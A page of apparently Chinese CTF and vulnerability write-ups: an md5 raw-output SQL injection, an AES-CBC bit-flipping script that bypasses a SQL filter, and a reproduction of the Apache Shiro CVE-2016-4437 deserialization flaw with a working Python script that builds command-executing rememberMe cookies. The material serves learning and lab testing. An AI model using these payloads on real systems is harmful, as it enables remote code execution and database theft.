后台登录 Writeup

题目链接: http://www.shiyanbar.com/ctf/2036

0x00 发现问题

在输入框里面输入1,得到密码错误的回显:

查看源码:

绿色字的部分,发现这是一个经典的php中md5($str,true)注入问题。

0x01 深入分析

1
2
3
4
5
6
7
8
9
$password=$_POST['password'];
$sql = "SELECT * FROM admin WHERE username = 'admin' and password = '".md5($password,true)."'";
$result=mysqli_query($link,$sql);
if(mysqli_num_rows($result)>0){
echo 'flag is :'.$flag;
}
else{
echo '密码错误!';
}

思路是:通过提交特定的POST参数password,让这段代码执行到 echo 'flag is :'.$flag;。这显然是一个注入问题,问题的关键在于 md5 函数md5($password,true)的第二个参数为 true。

先看php中的md5函数,它有两个参数string和raw。
第一个参数string是必需的,规定要计算的字符串。
第二个参数raw可选,规定十六进制或二进制输出格式:

  • TRUE – 原始 – 16 字符二进制格式
  • FALSE – 默认 – 32 字符十六进制数

示例如下:

1
2
3
4
5
6
<?php
$str = "Shanghai";
echo "字符串:".$str."<br>";
echo "TRUE - 原始 16 字符二进制格式:".md5($str, TRUE)."<br>";
echo "FALSE - 32 字符十六进制格式:".md5($str)."<br>";
?>

输出为:

1
2
3
字符串:Shanghai
TRUE - 原始 16 字符二进制格式:Tf頦+饲X0蠨鎗�)�
FALSE - 32 字符十六进制格式:5466ee572bcbc75830d044e66ab429bc

由上例可知,当md5函数的第二个参数为true时,该函数的输出是原始二进制格式,会被作为字符串处理。
理解这一点后,问题就简单了。
只要提交特定字符串,让其md5值以原始二进制格式输出(被当作字符串)时含有能触发SQL注入的特殊字符即可。

1
2
3
4
content: 129581926211651571912466741651878684928
hex: 06da5430449f8f6f23dfc1276f722738
raw: \x06\xdaT0D\x9f\x8fo#\xdf\xc1'or'8
string: T0Do#'or'8

1
2
3
4
content: ffifdyop
hex: 276f722736c95d99e921722cf9ed621c
raw: 'or'6\xc9]\x99\xe9!r,\xf9\xedb\x1c
string: 'or'6]!r,b

提交 129581926211651571912466741651878684928ffifdyop 都可以达到本文开头的目的。

0x02 夺旗总结

总结:这道题主要学到 php中md5($str,true)注入
php中md5($str,true)注入– 若水斋

简单的登录题 Writeup

题目链接: http://www.shiyanbar.com/ctf/2037

点击题目链接,进去是这个鬼样子:

如果遵循题嘱输入 id 来 login,检查下 cookie:

可以看到里面有 cipher 和 iv,也就是密文和初始向量。因为笔者最近在看 Apache Shiro 的 RCE 漏洞,感觉此处略熟悉。 Apache Shiro 的 RCE 漏洞 中 rememberMe 模块使用了 AES CBC mode,此处我们还不知道是什么加密。

cookie中,没有什么其他有价值的信息。就把思路转到框上来。试着输入 admin 试试,跟刚刚完全一样,没啥信息。

注:如果出现:Undeclared variable: admin 这种信息,可以清理 cookie 中 cipher、iv 这两条即可。不必清理浏览器缓存。

0x01 注入带来新的生机

在过程中遇到了一个 burp的小插曲

咳咳,言归正传,那么抓个 post 包试试。

准备抓这个框的 post 包:

发到 burp repeater:

经典的 11'进行响应包对比:

咳咳,虽然没注入漏洞,但是我们意外发现在响应包里面有一个 tips 字段,提示一个 test.php 文件。

0x02 柳暗花明之源码分析

于是就去看看:

这么乱还是看源码吧:

附完整源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
define("SECRET_KEY", '***********');
define("METHOD", "aes-128-cbc");
error_reporting(0);
include('conn.php');
function sqliCheck($str){
if(preg_match("/\\\|,|-|#|=|~|union|like|procedure/i",$str)){
return 1;
}
return 0;
}
function get_random_iv(){
$random_iv='';
for($i=0;$i<16;$i++){
$random_iv.=chr(rand(1,255));
}
return $random_iv;
}
function login($info){
$iv = get_random_iv();
$plain = serialize($info);
$cipher = openssl_encrypt($plain, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $iv);
setcookie("iv", base64_encode($iv));
setcookie("cipher", base64_encode($cipher));
}
function show_homepage(){
global $link;
if(isset($_COOKIE['cipher']) && isset($_COOKIE['iv'])){
$cipher = base64_decode($_COOKIE['cipher']);
$iv = base64_decode($_COOKIE["iv"]);
if($plain = openssl_decrypt($cipher, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $iv)){
$info = unserialize($plain) or die("<p>base64_decode('".base64_encode($plain)."') can't unserialize</p>");
$sql="select * from users limit ".$info['id'].",0";
$result=mysqli_query($link,$sql);

if(mysqli_num_rows($result)>0 or die(mysqli_error($link))){
$rows=mysqli_fetch_array($result);
echo '<h1><center>Hello!'.$rows['username'].'</center></h1>';
}
else{
echo '<h1><center>Hello!</center></h1>';
}
}else{
die("ERROR!");
}
}
}
if(isset($_POST['id'])){
$id = (string)$_POST['id'];
if(sqliCheck($id))
die("<h1 style='color:red'><center>sql inject detected!</center></h1>");
$info = array('id'=>$id);
login($info);
echo '<h1><center>Hello!</center></h1>';
}else{
if(isset($_COOKIE["iv"])&&isset($_COOKIE['cipher'])){
show_homepage();
}else{
echo '<body class="login-body" style="margin:0 auto">
<div id="wrapper" style="margin:0 auto;width:800px;">
<form name="login-form" class="login-form" action="" method="post">
<div class="header">
<h1>Login Form</h1>
<span>input id to login</span>
</div>
<div class="content">
<input name="id" type="text" class="input id" value="id" onfocus="this.value=\'\'" />
</div>
<div class="footer">
<p><input type="submit" name="submit" value="Login" class="button" /></p>
</div>
</form>
</div>
</body>';
}
}

把源码保存到本地分析,发现几个关键点:

  1. 从代码第2行看出,加密方式的确是 AES-128,mode 是 CBC。
  2. iv是一个 16 byte 的随机数。
  3. cipher 和 iv 经过了 base64 加密之后作为 cookie。
  4. 代码是用 PHP 写的,第5行 include('conn.php');

整个代码实现的流程为:

  1. 定义秘钥

  2. 定义方法

  3. 进行 sqli 的字符串检查,对一些手注常用符号、字符过滤

  4. 定义随机 iv 生成算法

  5. 登入的时候:第一步:生成随机 iv,第二部步序列化 $info 变量,第三步生成密文,第四五步设置 cookie.

  6. show_homepage()方法,如果已经有 cipher 和 iv 的 cookie,对其进行base64解码,对生成的 plain变量进行反序列化。拼接 id 进行sql查询,返回 sql查询结果。

如果post包传上来了id,进行sql字符串检查,进行报错。如果没有报错就打印hello在屏幕上,然后如果post包没有传id,就显示Form。

根据程序流程分析,我们的目标是实现sql注入,拿到数据库的内容应该就可以获取到Flag了。目前的sql语句为(源码第33行):

1
$sql="select * from users limit ".$info['id'].",0";

根据sql语句,可以开看到,这条语句永远都返回的0条记录,除非能够进行注入,将后面的,0注释掉,才能够获取到数据,如使用语句1,100#

由于过滤了#,用 -- 进行尝试,也不行:

尝试用%00,用Burp Repeater尝试,将id=1 %00,post提交:

没有过滤,现在的一种思路是:注意到上面的 show_homepage()方法,提到:

show_homepage()方法,如果已经有 cipher 和 iv 的 cookie,对其进行base64解码,对生成的 plain变量进行反序列化。拼接 id 进行sql查询,返回 sql查询结果。

所以想要构造一种思路:

  1. 先用id =1然后00截断的数据库查询语句,寻求返回的 iv, cipher值。

  2. 然后用返回的iv、cipher值,作为第二次的cookie,然后去掉id=(这样做的原因是因为源代码如果id参数不存在,则获取到cookie里的各种值作为查询的参数,而cookie内的值为上一次的查询值),再次post。这样程序走的就是 show_homepage()方法进行数据库查询。

试一下:

这结果一方面说明我的查询语句有问题,另一方面说明的确存在注入。

检查发现第一步sql语句写错了,修改再次进行上面两步:

看到相应包返回了Hello!rootzz,或许这就是传说中的flag,赶快去试一下:

但是很遗憾不对。

0x03 CBC 翻转攻击

仔细分析源代码的逻辑,发现有个漏洞,虽然第一次提交id时,做了过滤,但是第二次提交iv和cipher值,是不会做过滤的。使用cbc翻转一个字节进行攻击(发送一个可以绕过字符过滤的id值,然后通过cbc翻转攻击将一部分需要改变的字符修改为我们想要的,达到sql注入目的)。具体如下:

验证

  1. 提交能经过过滤检测的SQL语句,如id=12。

  2. 结合得到的iv、cipher,用cbc字节翻转cipher对应id=12中2的字节,得到cipher_new,提交iv、cipher_new。

  3. 第二次提交得到plain(如果忘了是啥可以往回看)。

  4. 把iv、plain、‘id=12’序列第一行(16个字节为一行),进行异或操作,得到iv_new。

  5. 把iv_new、cipher_new,去掉id=xx post到服务器即可得到 id=1# 的结果,即Hello!rootzz。

使用脚本进行攻击

  1. 上一步成功达到偷梁换日的做法,下一步就是把id=12换成我们熟悉的SQL注入语句,在这里要注意的是:注释还是用%00,=用regexp代替,逗号用join代替,union用2nion代替,然后用cbc字节转换,把2换成u。值得注意的是cbc字节转换时的偏移量,最好自己写个php代码算一下前一行相应的位置。这里我们使用脚本:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
#!/usr/bin/env python2
#-*- coding: utf-8 -*-
"""
@Author : darkN0te
@Create date : 2018-07-07
@description : 凯撒轮转密码解密
@Update date :
"""
from base64 import *
import urllib
import requests
import re

def denglu(payload,idx,c1,c2):
url=r'http://ctf5.shiyanbar.com/web/jiandan/index.php'
payload = {'id': payload}
r = requests.post(url, data=payload)
Set_Cookie=r.headers['Set-Cookie']
iv=re.findall(r"iv=(.*?),", Set_Cookie)[0]
cipher=re.findall(r"cipher=(.*)", Set_Cookie)[0]
iv_raw = b64decode(urllib.unquote(iv))
cipher_raw=b64decode(urllib.unquote(cipher))
lst=list(cipher_raw)
lst[idx]=chr(ord(lst[idx])^ord(c1)^ord(c2))
cipher_new=''.join(lst)
cipher_new=urllib.quote(b64encode(cipher_new))
cookie_new={'iv': iv,'cipher':cipher_new}
r = requests.post(url, cookies=cookie_new)
cont=r.content
plain = re.findall(r"base64_decode\('(.*?)'\)", cont)[0]
plain = b64decode(plain)
first='a:1:{s:2:"id";s:'
iv_new=''
for i in range(16):
iv_new += chr(ord(first[i])^ord(plain[i])^ord(iv_raw[i]))
iv_new = urllib.quote(b64encode(iv_new))
cookie_new = {'iv': iv_new, 'cipher': cipher_new}
r = requests.post(url, cookies=cookie_new)
rcont = r.content
print rcont

denglu('12',4,'2','#')
denglu('0 2nion select * from((select 1)a join (select 2)b join (select 3)c);'+chr(0),6,'2','u')
denglu('0 2nion select * from((select 1)a join (select group_concat(table_name) from information_schema.tables where table_schema regexp database())b join (select 3)c);'+chr(0),7,'2','u')
denglu("0 2nion select * from((select 1)a join (select group_concat(column_name) from information_schema.columns where table_name regexp 'you_want')b join (select 3)c);"+chr(0),7,'2','u')
denglu("0 2nion select * from((select 1)a join (select * from you_want)b join (select 3)c);"+chr(0),6,'2','u')

友情提示:这里不能随便 2to3,不然会有问题的。

跑一下:

虽然因为偷懒有点小问题,但是 flag 出来了就都不是问题。

试下:

0x04 总结

这道题主要学到CBC字符翻转攻击

CBC字符翻转 原理与实战

CBC字节反转攻击原理

CBC字节翻转攻击

CBC翻转攻击,了解一下!

CBC字节翻转攻击和Padding Oracle

CVE-2016-4437:Apache Shiro 反序列化 RCE 复现

参考shiro 基础教程,Apache Shiro是一个功能强大且易于使用的Java安全框架,提供了认证,授权,加密,和会话管理。

如同 Spring security 一样都是是一个权限安全框架,但是与Spring Security相比,在于他使用了和比较简洁易懂的认证和授权方式。

0x00 概述


参考 Apache Shiro issue #550 ,漏洞大概情况为:

通过阅读官网 issue,可以了解到:

默认情况下,shiro使用 CookieRememberMeManager。这序列化、加密和编码用户身份以供以后检索。因此,当它收到来自未经身份验证的用户的请求时,它会通过执行以下操作来查找其记住的身份:

  • 检索 rememberMe cookie 的值
  • Base 64 解码
  • 使用 AES 解密
  • 使用 java 序列化模块(ObjectInputStream)来反序列化。

但是,默认加密密钥是硬编码的,这意味着任何有权访问源代码的人都知道默认加密密钥是什么。因此,攻击者可以创建恶意对象,对其进行序列化,对其进行编码,然后将其作为cookie发送。然后Shiro将解码和反序列化,这意味着您的恶意对象现在在服务器上。通过仔细构建对象,可以使它们运行一些恶意代码。

CookieRememberMeManager

从官方的 issue 上来看,存在几个重要的点:

  • rememberMe cookie

  • CookieRememberMeManager.java

  • Base64

  • AES

  • 加密密钥硬编码

  • Java serialization

0x01 环境搭建


有两种方式:

  1. 基于Apache Shiro源码添加存在漏洞的jar包,然后使用 mvn 进行存在漏洞环境的 war 包进行编译,最终可以将 target 目录下生成的 samples-web-1.2.4.war 文件拷贝至 tomcat 目录下的 webapps 目录,这里将其重命名为了 shiro.war 文件,启动 tomcat即可。
  2. 使用 Docker 搭建环境。

我这里使用 docker。

过程:

根据 https://github.com/Medicean/VulApps/tree/master/s/shiro/1 ,操作如下:

然后就可以在本地访问登录页面:

0x02 产生payload


我们需要产生payload的 ysoserial ,执行下列命令,可以获取到需要的 jar 文件:

1
2
3
$ git clone https://github.com/frohoff/ysoserial.git
$ cd ysoserial
$ mvn package -DskipTests

等待一段时间的打包:

最终就生成了 payload 的 jar 包:

参考文章:

反序列化工具 ysoseriaol 使用介绍

ysoserial分析

0x03 漏洞分析


在搭建好的环境下登录账号:

查看cookie可以发现有一个 rememberMe 值:

从正常登录返回的 cookie 中获取到 rememberMe 的值如下:

1
V1bpg7s9Ogm/umCxglkKNb89SicDSk8DURo7BCwWtz713kiDkqHrke+BUbjzk6ehzN3QYTC7kxgglgmAnenEr6aao8+pH71vXX5vtqc8jrnMZml/fpaWxAsZr0CO8dJMLBzpM6C0dNh429pR9lceeP42UkjFDJrjWx55ZVP1+APLQfffaV1eQq8PjAvy5O9XLlrlxtWoM5LGn6m6XuM/R4xjkX7PkYu4rpN/tc/aC0Qg9UK+WgVgNyqjZaMNcMM3hG4j8NqlCzHUBgArVgwtT3tn6UG5hw3pf+q7t21Np7fsFSpEhr0NXfY0hJXuYsYiIcokZenxjTw+vpl1MI0xAuxTnzHDc70p5ZQIiZo23vKHaKXDE3nwADRErCGel4ZdJJ7inAEy4j+Hddc9e8uNmVp4+fMkrGZhoyS9WGuFkiSb7kXJqzM9SqrM0KKRT3sf8nNiOAU8wOMgtBro0nQ3LHiJErAD1DVr2iXcsGj2m6fxttT/gxBZZaHr2vtK49yJ

把rememberMe的值存为 cookie.txt,使用 Base64 解码存储为二进制文件。

1
2
3
$ cat cookie.txt|base64 -d > x.bin
$ cat x.bin |xxd
$ cat x.bin |xxd > 1.txt

内容如下:

从这些内容中没有看到有明确的 Java 序列化特征字,因为在 issue 的关键字当中提到了 AES 和加密密钥硬编码,所以去看源码。打开CookieRememberMemanager.java 文件并没有找到硬编码的加密密钥,继续跟其父类 AbstractRememberMeManager 看到如下几行:

可以判断出上图中最后一行Base64.decode(“kPH+bIxk5D2deZiIxcaaaA==”) 就是我们要找的硬编码密钥,因为 AES 是对称加密,即加密密钥也同样是解密密钥。

除了密钥,还有两个必要的属性,一个是 AES 中的 mode(加解密算法),另外一个是 IV(初始化向量),继续查看 AbstractRememberMeManager 的代码, 在它的方法 encrypt 中看到如下语句:

其中 CipherService 是个接口,而实现这个接口的是一个抽象类 JcaCipherService。

在 JcaCipherService 的类说明中,提到:

自动生成IV

IV被自动的随机生成,在返回给{@code encrypt}方法之时前置到加密数据之前。因此,返回的 byte 数组或{@code OutputStream}实际上是一个IV byte数组加上真实加密数据 byte 数组的连接。{@code decrypt} 方法在解密真实数据之前轮流读取这个前置IV。

IV大小

此实现{@link #setInitializationVectorSize(int) initializationVectorSize}属性默认为{@code 128} bits,这是一个相当常见的大小。但是,IV的大小是非常特定于算法的,因此如果需要,子类实现通常会在其构造函数中重写该值。

还要注意 {@code initializationVectorSize} 值是以特定位数(而不是字节)匹配大多数密码学文档中的常见引用。但实际上,IV 总是指定为字节数组,因此需要确保是否设置了此属性,该值应该是 {@code 8} 的倍数,以确保IV可以正确表示为字节数组( {@link #setInitializationVectorSize(int) setInitializationVectorSize} 变种方法强制执行此操作)。

在 AESCipherService.java 类中,可以看到 AES 的 mode 为 CBC。

知道创宇的漏洞分析文章中提到:这个 IV并没有真正使用起来。这个结论我也不是很明确。

那么根据我们现在已经得到的信息:

  1. IV是随机生成的,但这个IV并没有真正使用起来;
  2. AES 的 mode 为 CBC

利用这些信息,尝试对 Base64 解码后的文件进行解密操作,解密 Python 代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
# pip install pycrypto
import sys
import base64
from Crypto.Cipher import AES
def decode_rememberme_file(filename):
with open(filename, 'rb') as fpr:
key = "kPH+bIxk5D2deZiIxcaaaA=="
mode = AES.MODE_CBC
IV = b' ' * 16
encryptor = AES.new(base64.b64decode(key), mode, IV=IV)
remember_bin = encryptor.decrypt(fpr.read())
return remember_bin
if __name__ == '__main__':
with open("1.bin", 'wb+') as fpw:
# print(sys.argv[1])
fpw.write(decode_rememberme_file(sys.argv[1]))

注:

  1. Data must be padded to 16 byte boundary in CBC mode. 所以 IV 是随机一个16位的。
  2. Python 3.7 的 pycrypto 库安装参考 python3.7安装pycrypto
  3. 1.bin 是我们要把二进制结果写入的文件。
  4. 注意 sys.argv[1],所以在运行时我们使用 python3 1.py x.bin,x.bin 即为 sys.argv[1],1.py 是 sys.argv[0]。x.bin 就是上文中提到的对 cookie 里面 rememberMe 的值 base64 解码之后的二进制文件。

运行上面的python脚本:

然后把解密出的 1.bin 转化为 hex 形式:

1
$ cat 1.bin |xxd > 2.txt

查看 2.txt:

注意第二行打头的 ac ed 00 05, 这是 Java 序列化的标志,说明解密成功!那么文件第一行是什么呢?我们继续来跟 JcaCipherService 这个类,看它的一个加密函数 encrypt :

可以看出这个加密函数是先将 IV 写入,然后再加密具体的序列化对象的字节码,这样 IV 值我们可以直接通过读取第一行(16个字节,128位)获得了。

搞清楚了第一行是什么,我们还需要搞清楚加密的序列化对象 。回到 CookieRememberMeManager 的父类 AbstractRememberMeManager , 上面贴出的 encrypt 中有个 serialized 的字节数组,这个字节数组是从哪里来的呢?在这个类中直接调用这个方法的是 convertPrincipalsToBytes :

1
2
3
4
5
6
7
protected byte[] convertPrincipalsToBytes(PrincipalCollection principals) {
byte[] bytes = serialize(principals);
if (getCipherService() != null) {
bytes = encrypt(bytes);
}
return bytes;
}

可以看出序列化对象是 PrincipalCollection ,但是这个类是个接口,看了下实现它的类是 SimplePrincipalCollection 对象。 在它的代码当中,可以发现关键的两个方法: writeObject 和 readObject。

0x04 漏洞利用


现在,就可以构造具体的 payload 了,代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
# pip install pycrypto
import sys
import base64
import uuid
from random import Random
import subprocess
from Crypto.Cipher import AES

def encode_rememberme(command):
popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.5-SNAPSHOT-all.jar', 'CommonsCollections2', command], stdout=subprocess.PIPE)
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
key = "kPH+bIxk5D2deZiIxcaaaA=="
mode = AES.MODE_CBC
iv = uuid.uuid4().bytes
encryptor = AES.new(base64.b64decode(key), mode, iv)
file_body = pad(popen.stdout.read())
base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
return base64_ciphertext

if __name__ == '__main__':
payload = encode_rememberme(sys.argv[1])
with open("payload.cookie", "w") as fpw:
print("rememberMe={}".format(payload.decode()), file=fpw)

将上述代码保存为 /tmp/create_payload.py, 执行如下命令:

1
2
3
4
cd /tmp
python3 create_payload.py "open /Applications/Calculator.app"
安装了 httpie 可以运行如下指令
http :8080/shiro/ Cookie:cat payload.cookie